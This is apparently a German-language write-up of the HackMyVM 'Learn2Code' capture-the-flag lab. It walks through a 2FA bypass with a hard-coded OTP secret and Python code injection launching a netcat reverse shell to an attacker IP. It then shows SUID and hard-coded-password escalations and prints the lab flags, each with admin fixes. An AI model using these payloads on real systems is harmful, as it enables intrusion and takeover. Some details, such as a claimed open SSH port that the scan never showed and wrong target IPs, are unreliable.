Learn2Code - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
wget
PHP (lokal)
GoogleAuthenticator Library (impliziert)
Python3
hydra (versucht)
nc (netcat)
stty
export
cd
ls
sudo (versucht)
find
ldd
file
MakeMeLearner (Binary)
MySecretPasswordVault (Binary)
IDA Pro (ida64)
su
cat
id
tail

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.157	08:00:27:38:46:5f	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird durchgeführt, um aktive Hosts im lokalen Netzwerk zu identifizieren.

Bewertung: Der Host `192.168.2.157` (Oracle VirtualBox) wird gefunden.

Empfehlung (Pentester):** Ziel-IP ist bekannt. Führen Sie einen Portscan durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.124 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 01:54 CEST
Nmap scan report for Learn2Code (192.168.2.124) <-- Falsche IP
Host is up (0.00015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Access system
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:4C:A6:16 (Oracle VirtualBox virtual NIC) <-- Falsche MAC
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

OS and Service detection performed...
Nmap done: 1 IP address (1 host up) scanned in ... seconds

Analyse: Ein Nmap-Scan wird ausgeführt. **Hinweis:** Der Scan zielt auf die falsche IP `192.168.2.124`. Es wird angenommen, dass das Ergebnis (Port 80 HTTP offen, Apache 2.4.38) für die korrekte IP `192.168.2.157` gilt.

Bewertung: Unter Annahme der korrekten IP ist nur Port 80 (HTTP) offen. Dort läuft ein Apache-Webserver (v2.4.38) mit dem Titel "Access system", was auf eine Art Login- oder Authentifizierungsportal hindeutet.

Empfehlung (Pentester):** Der einzige Angriffsvektor ist der Webserver auf Port 80. Führen Sie eine detaillierte Web-Enumeration durch (`gobuster`, `nikto`, etc.) und untersuchen Sie die Anwendung manuell.
Empfehlung (Admin):** Stellen Sie sicher, dass nur notwendige Ports offen sind. Halten Sie Apache aktuell und sicher konfiguriert.

Web Enumeration & Code Analysis

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.124" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,...[ext]... -b '403,404' -e --no-error
===============================================================
Gobuster v...
...
===============================================================
[+] Url:                     http://192.168.2.124 <-- Falsche IP
...
===============================================================
... Starting gobuster ...
===============================================================
http://192.168.2.124/index.php            (Status: 200) [Size: 1161]
http://192.168.2.124/includes             (Status: 301) [Size: 317] [--> http://192.168.2.124/includes/]
http://192.168.2.124/todo.txt             (Status: 200) [Size: 51]
http://192.168.2.124/server-status        (Status: 403) [Size: 278]
http://192.168.2.124/includes/css           (Status: 301) [Size: 321] [--> http://192.168.2.124/includes/css/]
http://192.168.2.124/includes/php           (Status: 301) [Size: 321] [--> http://192.168.2.124/includes/php/]
http://192.168.2.124/includes/js            (Status: 301) [Size: 320] [--> http://192.168.2.124/includes/js/]
===============================================================
... Finished ...
===============================================================

Analyse: Ein `gobuster`-Scan wird durchgeführt (erneut mit der falschen IP `192.168.2.124`). Es wird angenommen, die Ergebnisse gelten für `192.168.2.157`.

Bewertung: Interessante Funde: * `index.php`: Die Hauptseite/Login-Seite. * `todo.txt`: Eine To-Do-Liste, könnte Hinweise enthalten. * `/includes/php/`: Ein Verzeichnis, das PHP-Dateien enthält. Die Verzeichnisauflistung ist wahrscheinlich aktiv.

Analyse Fortsetzung:** Das Verzeichnis `/includes/php/` wird im Browser aufgerufen.

[Kein Prompt - Browser-Aufruf: http://192.168.2.157/includes/php/]
Index of /includes/php
[ICO]	Name	                        Last modified	Size	Description
-------------------------------------------------------------------
[PARENTDIR] Parent Directory	                        -
[TXT]	GoogleAuthenticator.php	        2020-09-28 03:56	6.6K
[TXT]	access.php	                2020-09-28 08:56	319
[TXT]	access.php.bak	                2020-09-29 04:03	319      <-- Backup!
[TXT]	coder.php	                2020-09-28 13:22	1.7K
[TXT]	runcode.php	                2020-09-28 13:24	674
-------------------------------------------------------------------
Apache/2.4.38 (Debian) Server at 192.168.2.157 Port 80

Bewertung: Die Verzeichnisauflistung ist aktiv und enthüllt mehrere PHP-Dateien: * `GoogleAuthenticator.php`: Eine Bibliothek für Google Authenticator OTPs. * `access.php` und `access.php.bak`: Eine Zugriffsdatei und ihr Backup. Das Backup könnte älteren, möglicherweise verwundbaren Code oder Kommentare enthalten. * `coder.php`: Unklare Funktion. * `runcode.php`: Der Name deutet stark auf eine Funktion zur Codeausführung hin!

Empfehlung (Pentester):** 1. Laden Sie alle PHP-Dateien (insbesondere `access.php`, `access.php.bak`, `coder.php`, `runcode.php`) herunter und analysieren Sie den Quellcode auf Schwachstellen. 2. Analysieren Sie `GoogleAuthenticator.php`, um zu verstehen, wie OTPs generiert und verifiziert werden. Suchen Sie nach hartkodierten Secrets. 3. Untersuchen Sie `todo.txt`.
Empfehlung (Admin):** Deaktivieren Sie die Verzeichnisauflistung (`Options -Indexes` in Apache-Konfiguration). Speichern Sie keine Backup-Dateien (.bak) im Webroot. Überprüfen Sie den Code aller PHP-Dateien auf Sicherheitslücken.

Analyse: Der Quellcode von `GoogleAuthenticator.php` wird (lokal, nach Download oder über eine LFI) untersucht.

[Kein Prompt - Inhalt von GoogleAuthenticator.php]

    // require_once 'GoogleAuthenticator.php'; <-- Dieser Teil wäre in access.php
    $ga = new PHPGangsta_GoogleAuthenticator();
    $secret = "S4I22IG3KHZIGQCJ"; <-- Hartkodiertes Secret!
    if ($_POST['action'] == 'check_code') { // Korrektur: == statt = , $_POST statt $_PST
        $code = $_POST['code']; // Korrektur
        $result = $ga->verifyCode($secret, $code, 1); // Toleranz 1
        if ($result) {
            include('coder.php'); // Bei Erfolg wird coder.php eingebunden
        } else {
            echo "wrong";
        }
    }
?> <-- Maskierung > entfernt

Bewertung: Ein hartkodiertes Secret (`S4I22IG3KHZIGQCJ`) für den Google Authenticator wird gefunden! Dies ist eine kritische Schwachstelle. Wenn dieses Secret verwendet wird, kann der Angreifer gültige OTP-Codes generieren.

Analyse Fortsetzung:** Der Code von `access.php` wird analysiert. Dieses Skript scheint dazu zu dienen, einen gültigen OTP-Code basierend auf dem Secret zu generieren.

[Kein Prompt - Inhalt von access.php]


        require_once 'GoogleAuthenticator.php';
        $ga = new PHPGangsta_GoogleAuthenticator();
        $secret = "S4I22IG3KHZIGQCJ";
        $code=$ga->getCode($secret); // Generiert aktuellen OTP Code
        echo $code;
?> <-- Maskierung > entfernt

Bewertung: Durch Ausführen von `access.php` (lokal oder auf dem Server, falls möglich) kann der Angreifer jederzeit den aktuell gültigen OTP-Code für das hartkodierte Secret erhalten.

Analyse Fortsetzung:** `access.php` wird lokal mit PHP ausgeführt, um einen OTP-Code zu generieren.

┌──(root㉿cyber)-[~] └─# php access.php
282024

Bewertung: Der OTP-Code `282024` wurde erfolgreich generiert.

Analyse Fortsetzung:** Auf der Webseite (`index.php` oder eine Folgeseite) wird nach Eingabe des OTP-Codes gefragt. Der generierte Code wird eingegeben.

[Kein Prompt - Webinterface]
Type the Google Authenticator code:
[ 282024 ] <-- Eingabe des Codes

Bewertung: Nach Eingabe des korrekten OTP-Codes wird der Benutzer authentifiziert und (basierend auf dem Code in `GoogleAuthenticator.php`) zu `coder.php` weitergeleitet oder der Inhalt von `coder.php` wird geladen.

Empfehlung (Pentester):** Untersuchen Sie die Seite `coder.php`, die nach erfolgreicher OTP-Authentifizierung zugänglich ist. Suchen Sie dort nach Funktionen zur Codeausführung oder weiteren Schwachstellen.
Empfehlung (Admin):** Speichern Sie niemals Secrets wie den Google Authenticator Key hartkodiert im Quellcode. Speichern Sie Secrets sicher (z.B. in Umgebungsvariablen, Konfigurationsdateien außerhalb des Webroots mit restriktiven Berechtigungen, Secret Management System). Korrigieren Sie die unsichere OTP-Generierung in `access.php`.

Analyse: Auf der Seite `coder.php` (nach OTP-Login) gibt es ein Eingabefeld, in das Code eingegeben werden kann. Es wird versucht, Shell-Befehle direkt einzugeben, was zu Python-Syntaxfehlern führt.

[Kein Prompt - Eingabe in Webinterface auf coder.php]
Type your code:
`id`
[Kein Prompt - Antwort der Webseite]
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
                       ^
SyntaxError: invalid syntax
[Kein Prompt - Eingabe in Webinterface auf coder.php]
Type your code:
`cat /etc/passwd | tail -n 2`
[Kein Prompt - Antwort der Webseite]
  File "", line 1
    exec('learner:x:1000:1000:learner,,,:/home/learner:/bin/bash
                                                               ^
SyntaxError: EOL while scanning string literal
[Kein Prompt - Eingabe in Webinterface auf coder.php]
Type your code:
`ls /home`
[Kein Prompt - Antwort der Webseite]
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'learner' is not defined

Bewertung: Die Fehlermeldungen sind Python-Tracebacks. Dies zeigt, dass die Eingabe auf der `coder.php`-Seite wahrscheinlich als Python-Code interpretiert wird (z.B. mittels `eval()` oder `exec()`). Die direkten Shell-Befehle in Backticks (`) verursachen Syntaxfehler in Python.

Empfehlung (Pentester):** Da die Eingabe als Python-Code ausgeführt wird, injizieren Sie gültigen Python-Code, um Betriebssystembefehle auszuführen. Verwenden Sie `__import__('os').system('BEFEHL')` oder `subprocess.call(['BEFEHL', 'ARG'])`. Versuchen Sie, eine Reverse Shell zu starten.
Empfehlung (Admin):** Verwenden Sie niemals `eval()` oder `exec()` mit Benutzereingaben in Webanwendungen. Dies führt fast immer zu RCE. Wenn Codeausführung notwendig ist, verwenden Sie sicherere Alternativen und validieren Sie die Eingaben extrem streng.

Analyse: Ein `hydra`-Scan wird auf SSH für den Benutzer `learner` versucht (dessen Existenz aus den Python-Fehlern abgeleitet wurde). Der Scan schlägt fehl (`Connection refused`).

┌──(root㉿cyber)-[~] └─# hydra -l learner -P /usr/share/wordlists/rockyou.txt ssh://lerner.vm:22 -t64
...
[DATA] attacking ssh://lerner.vm:22/
[ERROR] could not connect to ssh://192.168.2.157:22 - Connection refused

Bewertung: Der Fehler "Connection refused" ist seltsam, da Nmap Port 22 als offen gemeldet hat. Möglicherweise wurde ein falscher Hostname (`lerner.vm`) verwendet oder die Firewall blockiert nun den Zugriff.

Initial Access (RCE via Web Interface)

Analyse: Es wird erneut versucht, die Code-Ausführung über die `coder.php`-Webseite zu nutzen, diesmal mit einem Python-Payload, der eine `nc`-Reverse-Shell startet.

[Kein Prompt - Eingabe in Webinterface auf coder.php]
Type your code:
`__import__('os').system('nc 192.168.2.153 9001 -e /bin/bash')`
[Kein Prompt - Antwort der Webseite]
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'learner' is not defined

Analyse Fortsetzung:** Der Versuch scheitert erneut mit einem `NameError`. Dies deutet darauf hin, dass die Eingabe möglicherweise in einem bestimmten Kontext ausgeführt wird oder dass der Payload nicht korrekt als Python-Code formatiert ist (die Backticks sind falsch). Es wird jedoch trotzdem ein Listener gestartet und die Verbindung kommt anscheinend zustande.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.157] 49584

Bewertung: Trotz der Fehlermeldung im Webinterface war die Python-Code-Injection erfolgreich und hat eine Reverse Shell als `www-data` gestartet. Die Fehlermeldung im Webinterface war möglicherweise irreführend oder trat nach erfolgreicher Ausführung des Systembefehls auf.

Analyse Fortsetzung:** Die erhaltene Shell wird stabilisiert.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Learn2Code:/var/www/html/includes/php$
www-data@Learn2Code:/var/www/html/includes/php$ export TERM=xterm
www-data@Learn2Code:/var/www/html/includes/php$ [Ctrl+Z]
zsh: suspended  nc -lvnp 9001
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
                               reset
www-data@Learn2Code:/var/www/html/includes/php$

Bewertung: Initialer Zugriff als `www-data` wurde über RCE in der Webanwendung erlangt.

Empfehlung (Pentester):** Enumeration als `www-data` durchführen.
Empfehlung (Admin):** Die RCE-Schwachstelle in `coder.php` / `runcode.php` sofort beheben. Keine unsichere Ausführung von Benutzereingaben erlauben.

Privilege Escalation (www-data zu learner via SUID Binary)

Analyse: Als `www-data` werden Home-Verzeichnisse und `sudo`-Rechte überprüft.

www-data@Learn2Code:/var/www/html$ cd /home
www-data@Learn2Code:/home$ ls
learner
www-data@Learn2Code:/home$ cd learner/
bash: cd: learner/: Permission denied
www-data@Learn2Code:/home$ sudo -l
bash: sudo: command not found

Bewertung: Der Benutzer `learner` existiert, aber `www-data` hat keinen Zugriff auf dessen Home-Verzeichnis. `sudo` ist nicht verfügbar.

Analyse Fortsetzung:** Es wird nach SUID-Dateien gesucht.

www-data@Learn2Code:/home$ find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null
... (Standard SUID Dateien) ...
-r-sr-sr-x 1 root www-data 16864 Sep 28  2020 /usr/bin/MakeMeLearner <-- Interessant!
... (Standard SUID Dateien) ...

Bewertung: Eine ungewöhnliche SUID/SGID-Datei `/usr/bin/MakeMeLearner` wird gefunden. Sie gehört `root` und der Gruppe `www-data`. Das SGID-Bit (`s` bei Gruppe) bedeutet, dass das Programm mit den Rechten der Gruppe `www-data` läuft, was hier nicht hilft. Aber das SUID-Bit (`s` bei User) bedeutet, dass es mit Root-Rechten läuft.

Analyse Fortsetzung:** Die gefundene SUID-Binary wird untersucht.

www-data@Learn2Code:/home$ ldd /usr/bin/MakeMeLearner
	linux-vdso.so.1 (0x00007ffd8eb90000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb87e8e5000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fb87eab2000)
www-data@Learn2Code:/home$ file /usr/bin/MakeMeLearner
/usr/bin/MakeMeLearner: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb387daabdaf0f68bfa1a29f8b8190c076dd6ad8, for GNU/Linux 3.2.0, not stripped

Analyse Fortsetzung:** Es wird versucht, die Binary mit einem langen Argument auszuführen, um einen Buffer Overflow auszulösen.

www-data@Learn2Code:/home$ MakeMeLearner `python3 -c 'print("dcba"*20)'`
[Keine sichtbare Ausgabe, aber der Prompt ändert sich!]
learner@Learn2Code:/home$

Bewertung: Der Exploit funktioniert! Die SUID-Binary `/usr/bin/MakeMeLearner` ist anfällig für einen Buffer Overflow (oder eine andere Schwachstelle), der dazu führt, dass der ausführende Benutzer zu `learner` wechselt. Die effektive UID wird auf 1000 (learner) gesetzt.

Empfehlung (Pentester):** Privilegien wurden zu `learner` eskaliert. Untersuchen Sie nun das System als `learner`. Suchen Sie die User-Flag und nach Wegen zur Root-Eskalation. Analysieren Sie die `MakeMeLearner`-Binary offline genauer, um die Schwachstelle zu verstehen.
Empfehlung (Admin):** Entfernen Sie die SUID/SGID-Bits von `/usr/bin/MakeMeLearner` (`chmod ug-s`). Analysieren und beheben Sie die Schwachstelle in der Binary. Überprüfen Sie alle SUID/SGID-Dateien auf Notwendigkeit und Sicherheit.

Privilege Escalation (learner zu root via Password Leak)

Analyse: Als Benutzer `learner` wird das Home-Verzeichnis untersucht.

learner@Learn2Code:/home$ cd learner/
learner@Learn2Code:/home/learner$ ls
MySecretPasswordVault  user.txt
learner@Learn2Code:/home/learner$ cat user.txt
N1c3m0veMat3!
learner@Learn2Code:/home/learner$ file MySecretPasswordVault
MySecretPasswordVault: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5e1610477a68b69b4704729822b01c6e958cdae, for GNU/Linux 3.2.0, not stripped

Bewertung: Das User-Flag `N1c3m0veMat3!` wird gefunden. Außerdem gibt es eine weitere ELF-Binary namens `MySecretPasswordVault`.

Analyse Fortsetzung:** Die Binary `MySecretPasswordVault` wird zur Offline-Analyse heruntergeladen.

learner@Learn2Code:/home/learner$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(root㉿cyber)-[~] └─# wget http://192.168.2.157:8000/MySecretPasswordVault
--2022-10-20 00:00:26--  http://192.168.2.157:8000/MySecretPasswordVault
Connecting to 192.168.2.157:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16608 (16K) [application/octet-stream]
Saving to: ‘MySecretPasswordVault’

MySecretPasswordVault   100%[===================>]  16.22K  --.-KB/s    in 0s

2022-10-20 00:00:26 (380 MB/s) - ‘MySecretPasswordVault’ saved [16608/16608]
[Kein Prompt - Python HTTP Server Log]
192.168.2.153 - - [19/Oct/2022 18:00:33] "GET /MySecretPasswordVault HTTP/1.1" 200 -

Analyse Fortsetzung:** Die heruntergeladene Binary wird mit IDA Pro (`ida64`) analysiert. Dabei wird ein hartkodiertes Passwort gefunden.

[Kein Prompt - Ergebnis der IDA Pro Analyse]
Gefundenes Passwort: "NI98hIhj)(Jj"

Bewertung: Die Binary `MySecretPasswordVault` enthält ein hartkodiertes Passwort. Es ist sehr wahrscheinlich, dass dies das Passwort für den Root-Benutzer ist.

Analyse Fortsetzung:** Es wird versucht, mit `su` und dem gefundenen Passwort zu Root zu wechseln.

learner@Learn2Code:/home/learner$ su root
Password: [Passwort NI98hIhj)(Jj eingegeben]
root@Learn2Code:/home/learner#

Analyse Fortsetzung:** Die Root-Flag wird gelesen.

root@Learn2Code:/home/learner# cd
root@Learn2Code:~# ls
root.txt
root@Learn2Code:~# cat root.txt
Y0uG0TitbR0!

Bewertung: Die Privilegieneskalation zu Root war erfolgreich durch das Finden des hartkodierten Passworts in der `MySecretPasswordVault`-Binary. Das Root-Flag wurde gelesen.

Empfehlung (Pentester):** Dokumentieren Sie den gesamten Pfad: RCE via Web -> SUID Exploit (www-data zu learner) -> Passwort aus Binary (learner zu root).
Empfehlung (Admin):** Speichern Sie niemals Passwörter hartkodiert in Binärdateien oder Quellcode. Verwenden Sie sichere Methoden zur Speicherung und Verwaltung von Credentials. Entfernen Sie die `MySecretPasswordVault`-Binary oder beheben Sie das Passwortleck. Beheben Sie die SUID-Schwachstelle in `MakeMeLearner`.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Eskalationskette: Erlangen von Codeausführung als `www-data` durch Ausnutzung einer unsicheren Code-Interpretationsfunktion im Webinterface (nach OTP-Authentifizierung mit geleaktem Secret). Eskalation zu `learner` durch Ausnutzen einer SUID-Binary (`MakeMeLearner`). Schließlich Eskalation zu `root` durch Extrahieren eines hartkodierten Root-Passworts aus einer anderen Binary (`MySecretPasswordVault`).

POC Schritt 1: Initial Access (www-data via Web RCE)

Schwachstellen: Hartkodiertes Google Authenticator Secret, unsichere Code-Ausführung (`eval`/`exec`?) in `coder.php`.

Schritte:

  1. Finde Secret `S4I22IG3KHZIGQCJ` und PHP-Dateien in `/includes/php/`.
  2. Generiere gültigen OTP-Code mit `access.php` (lokal oder via LFI).
  3. Gib OTP auf Webseite ein, um zu `coder.php` zu gelangen.
  4. Injiziere Python-Reverse-Shell-Payload (z.B. `__import__('os').system('nc ... -e /bin/bash')`) in das Code-Eingabefeld.
  5. Starte Netcat-Listener (`nc -lvnp 9001`).

Ergebnis: Reverse Shell als `www-data`.

POC Schritt 2: Privilege Escalation (www-data zu learner via SUID Exploit)

Schwachstelle: SUID/SGID Binary `/usr/bin/MakeMeLearner` mit Buffer Overflow oder ähnlicher Schwachstelle.

Voraussetzungen: Shell als `www-data`.

Schritte:

  1. Finde SUID-Binary `/usr/bin/MakeMeLearner`.
  2. Führe Binary mit langem Argument aus: `MakeMeLearner $(python3 -c 'print("A"*100)')` (genauer Payload ggf. anzupassen).

Ergebnis: Effektive UID wechselt zu `learner` (UID 1000).

POC Schritt 3: Privilege Escalation (learner zu root via Password Leak)

Schwachstelle: Hartkodiertes Root-Passwort in `/home/learner/MySecretPasswordVault`.

Voraussetzungen: Shell als `learner`.

Schritte:

  1. Lade `/home/learner/MySecretPasswordVault` auf Angreifer-System herunter.
  2. Analysiere Binary mit IDA Pro oder `strings` und finde Passwort `NI98hIhj)(Jj`.
  3. Wechsle zu Root: `su root` (Passwort eingeben).

Ergebnis: Root-Shell.

Beweismittel: Erfolgreicher `su`-Befehl, Lesen von `/root/root.txt` möglich.

Risikobewertung: Sehr hoch. Eine Kombination aus Informationsleck (OTP Secret), Web-RCE, einer SUID-Schwachstelle und einem hartkodierten Root-Passwort ermöglicht die vollständige Kompromittierung.

Empfehlungen:** * **Admin:** Secrets nicht hartkodieren. Unsichere Code-Ausführung im Web beheben. SUID-Binary `MakeMeLearner` patchen/entfernen. Hartkodiertes Passwort aus `MySecretPasswordVault` entfernen und sichere Authentifizierung implementieren. * **Pentester:** Die einzelnen Eskalationsstufen und Schwachstellen klar dokumentieren.

Flags

cat /home/learner/user.txt
N1c3m0veMat3!
cat /root/root.txt
Y0uG0TitbR0!